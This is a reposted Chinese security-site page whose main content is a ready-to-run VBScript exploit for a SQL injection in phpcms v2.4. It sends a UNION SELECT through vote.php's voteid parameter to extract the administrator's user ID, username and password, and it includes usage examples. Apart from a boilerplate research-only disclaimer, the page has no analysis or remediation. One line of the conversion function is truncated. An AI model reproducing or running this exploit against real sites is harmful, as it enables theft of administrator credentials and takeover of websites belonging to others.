【Exp】phpcms v2.4 SQL injection exploit (test vbs_exp)

admin 2021年4月3日18:50:38评论34 views字数 2738阅读9分7秒阅读模式

以下是引用片段:

on   error   resume   next
Set objArgs = WScript.Arguments

dim my_http
dim my_path
dim fjhgx
print_r()

if objArgs.length = 0 then
quit_print()
End if
if objArgs(0) = null then
        quit_print()
Else
        my_http = objArgs(0)
End if

if objArgs(1) = null then
        quit_print()
Else
        my_path = objArgs(1)
End if

 

Set Http = CreateObject("Microsoft.XMLHTTP")
Http.Open "get","http://"&my_http&my_path&"vote.php?action=result&voteid=999999.9+UNION+ALL+SELECT+(Select concat(0x7e,0x27,userid,0x27,username,0x27,password,0x7e,0x27) FROM phpcms_member where adminid=1 limit 0,1)+,12,12,12,12,12,12,12,12,12,12,12,12--",False
Http.Send
fjhgx = Zhuanhuan(Http.responsebody)
Set Http = Nothing

if InStr(fjhgx, "voteid=~'") Then
Else
WScript.Echo "Exploit failed..."
wscript.quit        '退出
End If

fjhgx = RegExpTest("WHERE voteid=~'.*~' ",fjhgx)
fjhgx = Replace(fjhgx,"WHERE voteid=~'","")
fjhgx = Replace(fjhgx,"~' ","")

dim fjhgx_b
fjhgx_b = Split(fjhgx,"'")
WScript.Echo " *  [+] UserID   : " & fjhgx_b(0)
WScript.Echo " *  [+] Username : " & fjhgx_b(1)
WScript.Echo " *  [+] Password : " & fjhgx_b(2)

Function print_r()
        WScript.Echo "+---------------------------------------------------------------------------+"
        WScript.Echo "        phpcms v2.4 SQL injection exploit"
        WScript.Echo "        test: Fjhgx 俺是农村的"
        WScript.Echo "        mail: [email][email protected][/email]"
        WScript.Echo "        team:

"
        WScript.Echo "+---------------------------------------------------------------------------+"
End Function

Function quit_print()
        WScript.Echo "        Usage: CScript 1.vbs Url [Pre]"
        WScript.Echo "        Example:"
        WScript.Echo "        CScript 1.vbs localhost /"
        WScript.Echo "        CScript 1.vbs localhost /phpcms_v2.4/"
        wscript.quit        '退出
End Function

'创建转换函数用以转换编码
Function Zhuanhuan(vIn)
  strReturn = ""
  For i = 1 To LenB(vIn)
  ThisCharCode = AscB(MidB(vIn,i,1))
  If ThisCharCode
    strReturn = strReturn & Chr(ThisCharCode)
    Else
    NextCharCode = AscB(MidB(vIn,i+1,1))
    strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
    i = i + 1
  End If
  Next
 Zhuanhuan = strReturn
End Function

Function RegExpTest(patrn, strng)
        Dim regEx, Match, Matches      ' 建立变量。
        Set regEx = New RegExp         ' 建立正则表达式。
        regEx.Pattern = patrn         ' 设置模式。
        regEx.IgnoreCase = True         ' 设置是否区分字符大小写。
        regEx.Global = True         ' 设置全局可用性。
        Set Matches = regEx.Execute(strng)   ' 执行搜索。
        For Each Match in Matches      ' 遍历匹配集合。
        'RetStr = RetStr & "Match found at position "
        'RetStr = RetStr & Match.FirstIndex & ". Match Value is '"
        RetStr = RetStr & Match.Value & vbCRLF
        Next
        RegExpTest = RetStr
End Function

文章来源于lcx.cc:【Exp】phpcms v2.4 SQL injection exploit (test vbs_exp)

相关推荐: 讨论:关于支付宝即时到账接口

关于支付宝即时到账接口 Mas | 2014-10-23 08:48 之前发了个帖子 因为看到这里有人发了一个帖子 说自己有云购源码希望找人合作 随后我也是求合作 反倒被喷了一顿 我那个帖子里提到一个叫支付宝个人即时到账接口 现在支付宝好像已经关闭个人接口了 …

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日18:50:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Exp】phpcms v2.4 SQL injection exploit (test vbs_exp)https://cn-sec.com/archives/318801.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息